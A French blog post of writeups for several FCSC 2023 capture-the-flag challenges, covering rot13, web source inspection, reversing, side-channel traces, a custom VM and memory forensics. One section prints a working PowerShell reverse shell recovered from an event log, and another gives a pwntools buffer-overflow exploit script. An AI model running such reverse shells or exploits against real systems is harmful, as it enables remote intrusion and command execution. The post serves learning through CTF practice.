Writeups du FCSC 2023.md

30-04-2023

Pour la premiĂšre fois, je me suis dĂ©cide Ă  m’attaquer Ă  des challenges du FCSC. J’ai prĂ©ferĂ© m’inscrire hors-categorie car je n’avais pas suffisement de temps Ă  investir pour espĂ©rer ĂȘtre qualifiĂ©.

🔗Introduction

🔗Rot 13: 20 pts

🔗Enonce

Un de vos collÚgues ne jure que par cette méthode de chiffrage révolutionnaire appelée rot13.

Il l’a utilisĂ©e pour dissimuler un flag dans ce texte. DĂ©montrez-lui qu’il a tort de supposer que cet algorithme apporte une quelconque notion de confidentialitĂ© !

GBQB yvfgr :
- Cnva (2 onthrggrf)
- Ynvg (1 yvger)
- Pbevnaqer (fhegbhg cnf, p'rfg cnf oba)
- 4 onanarf, 4 cbzzrf, 4 benatrf
- Cbhyrg (4 svyrgf qr cbhyrg)
- 1 synt : SPFP{rq24p7sq86p2s0515366}
- CĂągrf (1xt)
- Evm (fnp qr 18xt)
- Abheve zba qvabfnher

🔗Solution

Ce challenge d’introduction fournit un texte chiffre:

GBQB yvfgr :
- Cnva (2 onthrggrf)
- Ynvg (1 yvger)
- Pbevnaqer (fhegbhg cnf, p'rfg cnf oba)
- 4 onanarf, 4 cbzzrf, 4 benatrf
- Cbhyrg (4 svyrgf qr cbhyrg)
- 1 synt : SPFP{rq24p7sq86p2s0515366}
- CĂągrf (1xt)
- Evm (fnp qr 18xt)
- Abheve zba qvabfnher

On remarque une ligne qui ressemble au format du flag attendu: FCSC{}. Avec le titre du challenge, on se doute que le texte est chiffre par la methode rot13. Le site CyberChef nous donne finalement le flag

Flag: FCSC{ed24c7fd86c2f0515366}

🔗T’es lent: 20 pts

🔗Enonce

Vous avez trĂšs envie de rejoindre l'organisation du FCSC 2024 et vos skills d'OSINT vous ont permis de trouver ce site en construction. Prouvez Ă  l'Ă©quipe organisatrice que vous ĂȘtes un crack en trouvant un flag !

https://tes-lent.france-cybersecurity-challenge.fr/

🔗Solution

Ce challenge web commence par un site d’offres de stage pour le FCSC. Challenge d’intro oblige, on regarde la source HTML du site et on remarque un commentaire:

<!--
      <div class="col-md-6">
        <div class="h-100 p-5 text-white bg-dark rounded-3">
          <h2>Générateur de noms de challenges</h2>
          <p>Vous serez en charge de trouver le noms de toutes les Ă©preuves du FCSC 2024.</p>
          <a class="btn btn-outline-light" href="/stage-generateur-de-nom-de-challenges.html">Plus d'infos</a>
        </div>
      </div>
      -->

En se rendant sur la page /stage-generateur-de-nom-de-challenges.html, on tombe sur cette page brouillon.

Encore une fois, on regardant la source de la page, un nouveau commentaire et un nouveau lien decouvert:

    <div class="container py-4">
      <!--
      Ne pas oublier d'ajouter cette annonce sur l'interface d'administration secrĂšte : /admin-zithothiu8Yeng8iumeil5oFaeReezae.html
      -->
    </div>

Ce 2eme chemin cache nous enmene directement au flag!

Flag: FCSC{237dc3b2389f224f5f94ee2d6e44abbeff0cb88852562b97291d8e171c69b9e5}

🔗La gazette de Windows: 20 pts

🔗Enonce

Il semblerait qu'un utilisateur exécute des scripts Powershell suspects sur sa machine. Heureusement cette machine est journalisée et nous avons pu récupérer le journal d'évÚnements Powershell. Retrouvez ce qui a été envoyé à l'attaquant.

🔗Solution

Dans ce challenge, on recupere un fichier de log Windows au format MS Windows 10-11 Event Log . Etant sous linux, j’ai utilise evtx afin de dump en json les evenements windows avec la commande evtx_dump Microsoft-Windows-PowerShell4Operational.evtx -o json > dump.json .

En ouvrant le dump des logs, on trouve un evenement suspect:

On retrouve un script powershell ! On nettoie le script et on obtient:

do {
	Start-Sleep -Seconds 1
	try{
		$TCPClient = New-Object Net.Sockets.TCPClient('10.255.255.16', 1337)
	} catch {}
} until ($TCPClient.Connected)
$NetworkStream = $TCPClient.GetStream()
$StreamWriter = New-Object IO.StreamWriter($NetworkStream)
function WriteToStream ($String) {
	[byte[]]$script:Buffer = 0..$TCPClient.ReceiveBufferSize | % {0}
	$StreamWriter.Write($String + 'SHELL> ')
	$StreamWriter.Flush()
	}

$l = 0x46, 0x42, 0x51, 0x40, 0x7F, 0x3C, 0x3E, 0x64, 0x31, 0x31, 0x6E, 0x32, 0x34, 0x68, 0x3B, 0x6E, 0x25, 0x25, 0x24, 0x77, 0x77, 0x73, 0x20, 0x75, 0x29, 0x7C, 0x7B, 0x2D, 0x79, 0x29, 0x29, 0x29, 0x10, 0x13, 0x1B, 0x14, 0x16, 0x40, 0x47, 0x16, 0x4B, 0x4C, 0x13, 0x4A, 0x48, 0x1A, 0x1C, 0x19, 0x2, 0x5, 0x4, 0x7, 0x2, 0x5, 0x2, 0x0, 0xD, 0xA, 0x59, 0xF, 0x5A, 0xA, 0x7, 0x5D, 0x73, 0x20, 0x20, 0x27, 0x77, 0x38, 0x4B, 0x4D
$s = ""
for ($i = 0; $i -lt 72; $i++) {
	$s += [char]([int]$l[$i] -bxor $i) #on xor chaque element de l avec sa position
}
WriteToStream $s
while(($BytesRead = $NetworkStream.Read($Buffer, 0, $Buffer.Length)) -gt 0) {
	$Command = ([text.encoding]::UTF8).GetString($Buffer, 0, $BytesRead - 1)
	$Output = try {
		Invoke-Expression $Command 2>&1 | Out-String
	} catch {
		$_ | Out-String
		}
	WriteToStream ($Output)
}
$StreamWriter.Close()

En appliquant avec un script python l’operation realisee par le for, on obtient le flag:

l = [0x46, 0x42, 0x51, 0x40, 0x7F, 0x3C, 0x3E, 0x64, 0x31, 0x31, 0x6E, 0x32, 0x34, 0x68, 0x3B, 0x6E, 0x25, 0x25, 0x24, 0x77, 0x77, 0x73, 0x20, 0x75, 0x29, 0x7C, 0x7B, 0x2D, 0x79, 0x29, 0x29, 0x29, 0x10, 0x13, 0x1B, 0x14, 0x16, 0x40, 0x47, 0x16, 0x4B, 0x4C, 0x13, 0x4A, 0x48, 0x1A, 0x1C, 0x19, 0x2, 0x5, 0x4, 0x7, 0x2, 0x5, 0x2, 0x0, 0xD, 0xA, 0x59, 0xF, 0x5A, 0xA, 0x7, 0x5D, 0x73, 0x20, 0x20, 0x27, 0x77, 0x38, 0x4B, 0x4D]

flag = []
for i in range(0, 72):
	flag.append(l[i]^i)
print(''.join([chr(i) for i in flag])) #FCSC{98c98d98e5a546dcf6b1ea6e47602972ea1ce9ad7262464604753c4f79b3abd3}\r\n

Flag: FCSC{98c98d98e5a546dcf6b1ea6e47602972ea1ce9ad7262464604753c4f79b3abd3}

🔗Tri selectif: 20 pts

🔗Enonce

Vous devez trier un tableau dont vous ne voyez pas les valeurs !

nc challenges.france-cybersecurity-challenge.fr 2051

🔗Solution

Dans ce challenge, on nous fournit un fichier client.py, qui permet de communiquer avec le serveur

#!/usr/bin/env python3  
  
# python3 -m pip install pwntools  
from pwn import *  
  
# ParamĂštres de connexion  
HOST, PORT = "challenges.france-cybersecurity-challenge.fr", 2052  
  
def comparer(x, y):  
       io.sendlineafter(b">>> ", f"comparer {x} {y}".encode())  
       return int(io.recvline().strip().decode())  
  
def echanger(x, y):  
       io.sendlineafter(b">>> ", f"echanger {x} {y}".encode())  
  
def longueur():  
       io.sendlineafter(b">>> ", b"longueur")  
       return int(io.recvline().strip().decode())  
  
def verifier():  
       io.sendlineafter(b">>> ", b"verifier")  
       r = io.recvline().strip().decode()  
       if "flag" in r:  
               print(r)  
       else:  
               print(io.recvline().strip().decode())  
               print(io.recvline().strip().decode())  
  
def trier(lo, hi):  
   #############################  
   #   .. . Complétez ici ...  #  
   # Ajoutez votre code Python #  
   #############################  

# Ouvre la connexion au serveur  
io = remote(HOST, PORT)  
  
# RĂ©cupĂšre la longueur du tableau  
N = longueur()  
  
# Appel de la fonction de tri que vous devez Ă©crire  
trier(0, N - 1)  
  
# Verification  
verifier()  
  
# Fermeture de la connexion  
io.close()

C’est tres pratique car cela permet de se concentrer sur le challenge uniquement et pas sur l’interface avec le serveur. Il faut realiser un tri et il existe une grande variete d’algorithmes de tri. La page wikipedia permet d’avoir une bonne idee de quel algo utiliser et quand. J’ai decide d’implementer un tri rapide (ou quicksort en anglais) car ce challenge vient avant Tri trùs selectif ou les performances du tri ont une importance.

#!/usr/bin/env python3  
# ...
def trier(lo, hi):  
      if lo >= hi:  
       return  
      
   p = partition(lo, hi)  
   print(p)  
   trier(lo, p - 1)  
   trier(p + 1, hi)  
def partition(lo, hi):  
   print(f"{lo} {hi}")  
   pivot = hi  
   i = lo - 1  
   for j in range(lo, hi):  
       if comparer(j, pivot):  
           i +=1  
           echanger(i, j)  
   i+=1  
   echanger(i, hi)  
   return i  
# ...

En executant ce code, on recoit le flag.

Flag: FCSC{e687c4749f175489512777c26c06f40801f66b8cf9da3d97bfaff4261f121459}

🔗Comparaison: 20 pts

Pour le ctf, les organisateurs ont realise une machine virtuelle afin de realiser des challenges autour d’un assembleur maison. Toutes les informations concernant la VM sont disponibles sur le site du FCSC

🔗Enonce

Afin de se familiariser avec la machine virtuelle et son langage assembleur, vous devez Ă©crire dans cette Ă©preuve un code assembleur qui effectue une comparaison. La machine est initialisĂ©e avec deux valeurs alĂ©atoires dans les registres `R5` et `R6`. À la fin du programme, `R0` doit contenir `1` si les valeurs sont diffĂ©rentes, `0` sinon.

🔗Solution

Ce challenge permet de prendre en main les outils autour de la VM. Il ne presente pas de difficulte particuliere, a part comprendre comment utiliser assembler.py et machine.py.

Le code assembleur pour realiser la comparaison est tres simple

CMP R5, R6  
JZR JUMP  
MOV R0, #1  
STP  
JUMP:  
MOV R0, #0  
STP

Une fois ce code realise dans un fichier comp, je charge dans un script le fichier afin d’obtenir le bytecode a fournir a la machine:

comp = open("comp", 'r').read().split("\n")[:-1]  
print(assembly(comp))

Flag: FCSC{6b7b0a69935108a38e58dfcb4efc857973efdc18b9db81ab9de047d3b9100b98}

🔗SPAnosaurus: 20 pts

Ce challenge est une introduction aux challenges side-channel

🔗Enonce

La société MegaSecure vient d'éditer une mise à jour de sécurité pour leurs serveurs. AprÚs analyse de la mise à jour, vous vous apercevez que l'éditeur utilise maintenant ce code pour l'exponentiation :
unsigned long exp_by_squaring(unsigned long x, unsigned long n) {
  // n est l'exposant secret
  if (n == 0) {
    return 1;
  } else if (n % 2 == 0) {
    return exp_by_squaring(x * x, n / 2);
  } else {
    return x * exp_by_squaring(x * x, (n - 1) / 2);
  }
}

Vous avez accĂšs Ă  un serveur oĂč vous avez pu lancer en tant qu’utilisateur exp_by_squaring(2, 2727955623) tout en mesurant sa consommation d’énergie. L’exposant ici est donc n = 2727955623, soit 10100010100110010100110010100111 en binaire. Cette trace de consommation est sauvegardĂ©e dans trace_utilisateur.csv.

Vous avez Ă©galement rĂ©ussi Ă  mesurer la consommation d’énergie pendant l’exponentiation d’une donnĂ©e de l’administrateur. Cette trace de consommation est sauvegardĂ©e dans trace_admin.csv. Saurez-vous retrouver son exposant secret n ?

Le flag est au format FCSC{1234567890} avec 1234567890 Ă  remplacer par l’exposant secret de l’administrateur Ă©crit en dĂ©cimal.La sociĂ©tĂ© MegaSecure vient d’éditer une mise Ă  jour de sĂ©curitĂ© pour leurs serveurs. AprĂšs analyse de la mise Ă  jour, vous vous apercevez que l’éditeur utilise maintenant ce code pour l’exponentiation :

unsigned long exp_by_squaring(unsigned long x, unsigned long n) {
  // n est l'exposant secret
  if (n == 0) {
    return 1;
  } else if (n % 2 == 0) {
    return exp_by_squaring(x * x, n / 2);
  } else {
    return x * exp_by_squaring(x * x, (n - 1) / 2);
  }
}

Vous avez accĂšs Ă  un serveur oĂč vous avez pu lancer en tant qu’utilisateur exp_by_squaring(2, 2727955623) tout en mesurant sa consommation d’énergie. L’exposant ici est donc n = 2727955623, soit 10100010100110010100110010100111 en binaire. Cette trace de consommation est sauvegardĂ©e dans trace_utilisateur.csv.

Vous avez Ă©galement rĂ©ussi Ă  mesurer la consommation d’énergie pendant l’exponentiation d’une donnĂ©e de l’administrateur. Cette trace de consommation est sauvegardĂ©e dans trace_admin.csv. Saurez-vous retrouver son exposant secret n ?

Le flag est au format FCSC{1234567890} avec 1234567890 Ă  remplacer par l’exposant secret de l’administrateur Ă©crit en dĂ©cimal.

🔗Solution

En observant les traces, en haut celle de l’utilisateur et en bas celle de l’admin, on remarque une partie conmmune jusqu’a 1500 puis les pics different entre 15000 et 2000. Si on considere les pics comme des 1 et les creux comme des 0, on retrouve visuellement 10100010100110010100110010100111 pour l’utilisateur. On fait de meme pour la consommation dans la trace admin, on obtient: 100101010111001110111101011, en le representant en base 10, on trouve l’exposant secret de l admin.

Flag: FCSC{78355947}

🔗Aarg: 20 pts

🔗Enonce

Vous devez afficher le flag, quelque soit le moyen utilisé !

🔗Solution

Pour ce challenge, on nous fournit un binaire ELF, stripped et dynamiquement lie.

> aaarg: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux  
3.2.0, BuildID[sha1]=f5b07c01242cc5987bed7730c2762ae0491b5ddc, stripped

On ouvre ghidra. On obtient un liste de fonctions avec des noms tres peu explicite car le binaire est strippe. En regardant les fonctions, on tombe sur FUN_00401050 qui contient __libc_start_main(FUN_00401190,unaff_retaddr,&stack0x00000008,FUN_00401220,FUN_00401280,param_3, auStack_8); .Cette ligne permet d’identifier la fonction main du programme, ici FUN_00401190.

On regarde ensuite cette derniere fonction, on trouve rapidement un segment de donnee interessant, DAT_00402010


undefined8 FUN_00401190(int param_1,long param_2)

{
  undefined8 uVar1;
  ulong uVar2;
  char *local_10;
  
  uVar1 = 1;
  if (1 < param_1) {
    uVar2 = strtoul(*(char **)(param_2 + 8),&local_10,10);
    uVar1 = 1;
    if ((*local_10 == '\0') && (uVar1 = 2, uVar2 == (long)-param_1)) {
      uVar2 = 0;
      do {
        putc((int)(char)(&DAT_00402010)[uVar2],stdout);
        uVar2 = uVar2 + 4;
      } while (uVar2 < 278);
      putc(10,stdout);
      uVar1 = 0;
    }
  }
  return uVar1;
}

Dans le listing de ghidra, on remarque que cette zone de memoire contient des characteres qui ressemblent a un flag

En lisant le code, on peut aussi dĂ©duire que les charactere du flag se retrouvent tout les 4 characteres. Cela se verifie egalement avec le listing. J’ai utilisĂ© imHex (tres bon editeur hexadecimal au passage!) afin d’extraire les characteres du flag:

On finit ensuite avec un petit script python afin d’obtenir le flag.

data = bytes([
    0x46, 0xE2, 0x80, 0x8D, 0x43, 0xE2, 0x80, 0x8D, 0x53, 0xE2, 0x80, 0x8D, 0x43, 0xE2, 0x80, 0x8D, 
    0x7B, 0xE2, 0x80, 0x8D, 0x66, 0xE2, 0x80, 0x8D, 0x39, 0xE2, 0x80, 0x8D, 0x61, 0xE2, 0x80, 0x8D, 
    0x33, 0xE2, 0x80, 0x8D, 0x38, 0xE2, 0x80, 0x8D, 0x61, 0xE2, 0x80, 0x8D, 0x64, 0xE2, 0x80, 0x8D, 
    0x61, 0xE2, 0x80, 0x8D, 0x63, 0xE2, 0x80, 0x8D, 0x65, 0xE2, 0x80, 0x8D, 0x39, 0xE2, 0x80, 0x8D, 
    0x64, 0xE2, 0x80, 0x8D, 0x64, 0xE2, 0x80, 0x8D, 0x61, 0xE2, 0x80, 0x8D, 0x33, 0xE2, 0x80, 0x8D, 
    0x61, 0xE2, 0x80, 0x8D, 0x39, 0xE2, 0x80, 0x8D, 0x61, 0xE2, 0x80, 0x8D, 0x65, 0xE2, 0x80, 0x8D, 
    0x35, 0xE2, 0x80, 0x8D, 0x33, 0xE2, 0x80, 0x8D, 0x65, 0xE2, 0x80, 0x8D, 0x37, 0xE2, 0x80, 0x8D, 
    0x61, 0xE2, 0x80, 0x8D, 0x65, 0xE2, 0x80, 0x8D, 0x63, 0xE2, 0x80, 0x8D, 0x31, 0xE2, 0x80, 0x8D, 
    0x38, 0xE2, 0x80, 0x8D, 0x30, 0xE2, 0x80, 0x8D, 0x63, 0xE2, 0x80, 0x8D, 0x35, 0xE2, 0x80, 0x8D, 
    0x61, 0xE2, 0x80, 0x8D, 0x37, 0xE2, 0x80, 0x8D, 0x33, 0xE2, 0x80, 0x8D, 0x64, 0xE2, 0x80, 0x8D, 
    0x62, 0xE2, 0x80, 0x8D, 0x62, 0xE2, 0x80, 0x8D, 0x37, 0xE2, 0x80, 0x8D, 0x63, 0xE2, 0x80, 0x8D, 
    0x33, 0xE2, 0x80, 0x8D, 0x36, 0xE2, 0x80, 0x8D, 0x34, 0xE2, 0x80, 0x8D, 0x66, 0xE2, 0x80, 0x8D, 
    0x65, 0xE2, 0x80, 0x8D, 0x31, 0xE2, 0x80, 0x8D, 0x33, 0xE2, 0x80, 0x8D, 0x37, 0xE2, 0x80, 0x8D, 
    0x66, 0xE2, 0x80, 0x8D, 0x63, 0xE2, 0x80, 0x8D, 0x36, 0xE2, 0x80, 0x8D, 0x37, 0xE2, 0x80, 0x8D, 
    0x32, 0xE2, 0x80, 0x8D, 0x31, 0xE2, 0x80, 0x8D, 0x64, 0xE2, 0x80, 0x8D, 0x37, 0xE2, 0x80, 0x8D, 
    0x39, 0xE2, 0x80, 0x8D, 0x39, 0xE2, 0x80, 0x8D, 0x37, 0xE2, 0x80, 0x8D, 0x63, 0xE2, 0x80, 0x8D, 
    0x35, 0xE2, 0x80, 0x8D, 0x34, 0xE2, 0x80, 0x8D, 0x65, 0xE2, 0x80, 0x8D, 0x38, 0xE2, 0x80, 0x8D, 
    0x64, 0xE2, 0x80, 0x8D, 0x7D
])

print("".join([chr(d) for d in data if not d in [0xE2, 0x80, 0x8D]]))

Flag: FCSC{f9a38adace9dda3a9ae53e7aec180c5a73dbb7c364fe137fc6721d7997c54e8d}

🔗Uid: 20 pts

🔗Enonce

On vous demande d'exploiter le binaire fourni pour lire le fichier flag.txt qui se trouve sur le serveur distant.

nc challenges.france-cybersecurity-challenge.fr 2100

🔗Solution

Dans ce challenge d’intro pwn, on recupere le binaire vulnerable. En l’ouvrant avec ghidra et en lisant le code de la fonction main, on remarque tout de suite un buffer overflow.


undefined8 main(void)

{
  undefined local_38 [44]; //buffer vulnerable !
  __uid_t local_c;
  
  local_c = geteuid();
  printf("username: ");
  fflush(stdout);
  __isoc99_scanf(&DAT_0010200f,local_38);
  if (local_c == 0) {
    system("cat flag.txt");
  }
  else {
    system("cat flop.txt");
  }
  return 0;
}

On doit donc remplir les 44 octets du buffer puis inserer \x00 afin de verifier local_c == 0. Pour cela, un petit script python suffit amplement.

from pwn import *
HOST, PORT = "challenges.france-cybersecurity-challenge.fr", 2100
io = remote(HOST, PORT)

payload = "A"*44+'\x00'
io.sendlineafter(b"username:", payload.encode())
io.interactive()

Flag: FCSC{3ce9bedca72ad9c23b1714b5882ff5036958d525d668cadeb28742c0e2c56469}

🔗Forensic

🔗RansomĂ©moire 0/3 - Pour commencer: 100pts ⭐

🔗Enonce

Vous vous préparez à analyser une capture mémoire et vous notez quelques informations sur la machine avant de plonger dans l'analyse :
  • nom d’utilisateur,
  • nom de la machine,
  • navigateur utilisĂ©.

Le flag est au format FCSC{<nom d’utilisateur>::} oĂč :

  • <nom d’utilisateur> est le nom de l’utilisateur qui utilise la machine,
  • est le nom de la machine analysĂ©e et
  • est le nom du navigateur en cours d’exĂ©cution.

Par exemple : FCSC{toto:Ordinateur-de-jojo:Firefox}.

Attention : pour cette Ă©preuve, vous n’avez que 10 tentatives de flag.

Ce challenge est en 4 parties, selon le découpage initial suivant :

  • RansomĂ©moire 0/3 - Pour commencer :
    • 500 points de dĂ©part
  • RansomĂ©moire 1/3 - Mon prĂ©cieux :
    • 500 points de dĂ©part
    • RansomĂ©moire 2/3 - DĂ©but d’investigation :
      • 500 points de dĂ©part dĂ©bloquĂ© aprĂšs RansomĂ©moire 1/3 - Mon prĂ©cieux
    • RansomĂ©moire 3/3 - DoppelgĂ€nger :
      • 500 points de dĂ©part

🔗Solution

Pour ce premier challenge forensic, on a un dump memoire Windows a analyser. Je sors donc volatility pour m’attaquer a l’analyse du dump.

🔗Recuperation du nom d’utilisateur

Afin de recuperer le nom d’utiisateur, on va utiliser windows.hashdump qui permet de recuperer tout les utilisateurs, leurs hashes ainsi que leur rid

🔗Commande utilisee

python vol.py -f dump.dmp windows.hashdump

User    rid     lmhash  nthash  
  
Administrateur  500     aad3b435b51404eeaad3b435b51404ee        31d6cfe0d16ae931b73c59d7e0c089c0  
Invité  501     aad3b435b51404eeaad3b435b51404ee        31d6cfe0d16ae931b73c59d7e0c089c0  
DefaultAccount  503     aad3b435b51404eeaad3b435b51404ee        31d6cfe0d16ae931b73c59d7e0c089c0  
WDAGUtilityAccount      504     aad3b435b51404eeaad3b435b51404ee        8e6339a5717f7eab09999cc9f09f6828  
Admin   1001    aad3b435b51404eeaad3b435b51404ee        a881324bad161293dedc71817988d944

Le nom d’utilistateur est celui qui n’est pas genere par windows, ici Admin.

🔗Recuperation du nom de la machine

Pour recuperer le nom de la machine, on va inspecter le registre windows. On liste d’abord les entrees des registres.

🔗Commande utilisee

python vol.py -f dump.dmp windows.registry.hivelist.HiveList

Le registre qui nous interesse ici est \REGISTRY\MACHINE\SYSTEM.

On affiche ensuite les clefs associees a cette entree. La variable importante a utiliser pour volatility est Offset. De plus, en regardant la documentation de microsoft, on apprend que le nom de l’ordinateur est stocke dans la clef ControlSet001\Control\ComputerName\ComputerName.

🔗Commande utilisee

python vol.py -f /data/lab/ctfs/fcsc/forensic/ransomemoire/fcsc.dmp windows.registry.printkey.PrintKey --key 0xe306c7889000 --key 'ControlSet001\Control\ComputerName\ComputerName'

On obtient le nom de la machine.

🔗Recuperation du navigateur utilise

Pour recuperer le navigateur utilise, on affiche la liste des processus qui tournaient au moment du dump.

🔗Commande utilisee

python vol.py -f dump.dmp windows.pslist

Dans la liste des processus, on tombe sur celui avec le pid 6808: brave. Et voila !

Flag: FCSC{Admin:DESKTOP-PI234PG:brave}

🔗Hardware

🔗Fibonacci: 193 pts ⭐

🔗Enonce

> Cette épreuve fait partie de la série qui utilise la machine virtuelle du FCSC 2023, plus d'informations sur celle-ci ici : https://www.france-cybersecurity-challenge.fr/vm

Cette fois, on vous demande de coder en assembleur la suite de Fibonacci.

La machine est initialisĂ©e avec une valeur n alĂ©atoire (mise dans le registre R5) et devra contenir (dans R0) l’élĂ©ment Fib(n) une fois le code exĂ©cutĂ©. Pour rappel :

  • Fib(0) = 0,
  • Fib(1) = 1,
  • Fib(n) = Fib(n - 1) + Fib(n - 2).

Le code machine (bytecode) sera envoyĂ© sous un format hexadĂ©cimal, qu’on pourra gĂ©nĂ©rer Ă  l’aide de l’assembleur fourni (fichier assembly.py).

🔗Solution

Pour ce deuxieme challenge, il faut implementer en assembleur un calcul de suite de fibonacci dont la definition est rappelee dans l’enonce. De plus, dans le fichier challenge.py, on obtient une implementation en python de ce calcul

def Fib(n):  
   if n < 2:  
       return n  
   A = 0  
   B = 1  
   for _ in range(n - 1):  
       C = A + B  
       A = B  
       B = C  
   return B

Il suffit d’implementer en assembleur cet algo.

MOV R2, #1 ;A  
MOV R3, #0 ;B  
MOV R6, R5 ;N  
MOV R1, #1 ;CONSTANT  
  
MOV R4, #0  
FIB:  
CMP R6, R4  
JZA END  
SUB R6, R6, R1; N = N - 1  
ADD R7, R2, R3; C = A + B  
MOV R2, R3; A = B  
MOV R3, R7; B = C  
JA FIB  
  
END:  
MOV R0, R3  
STP

On recupere le bytecode: 8002000180030000005680010001800400000646880000124c764ad7003200739000000900301400 et le flag apparait!

Flag: FCSC{770ac04f9f113284eeee2da655eba34af09a12dba789c19020f5fd4eff1b1907}

🔗Misc

🔗Tri trùs selectif: 103 pts ⭐

🔗Enonce

Comme l'Ă©preuve Tri SĂ©lectif, vous devez trier le tableau, mais cette fois vous devez ĂȘtre efficace !

nc challenges.france-cybersecurity-challenge.fr 2052

🔗Solution

En reprenant exactement le meme code que pour Tri selectif et en changeant le port netcat, on obtient le flag directement. 2 flag pour le prix d’un !

Flag: FCSC{6d275607ccfba86daddaa2df6115af5f5623f1f8f2dbb62606e543fc3244e33a}

🔗Conclusion

Ce CTF est tres chouette, est meme les challenges que je n’ai pas reussi mais tenter m’ont appris beaucoup de choses. Gros gg aux organisateurs et je compte bien revenir l’an prochain.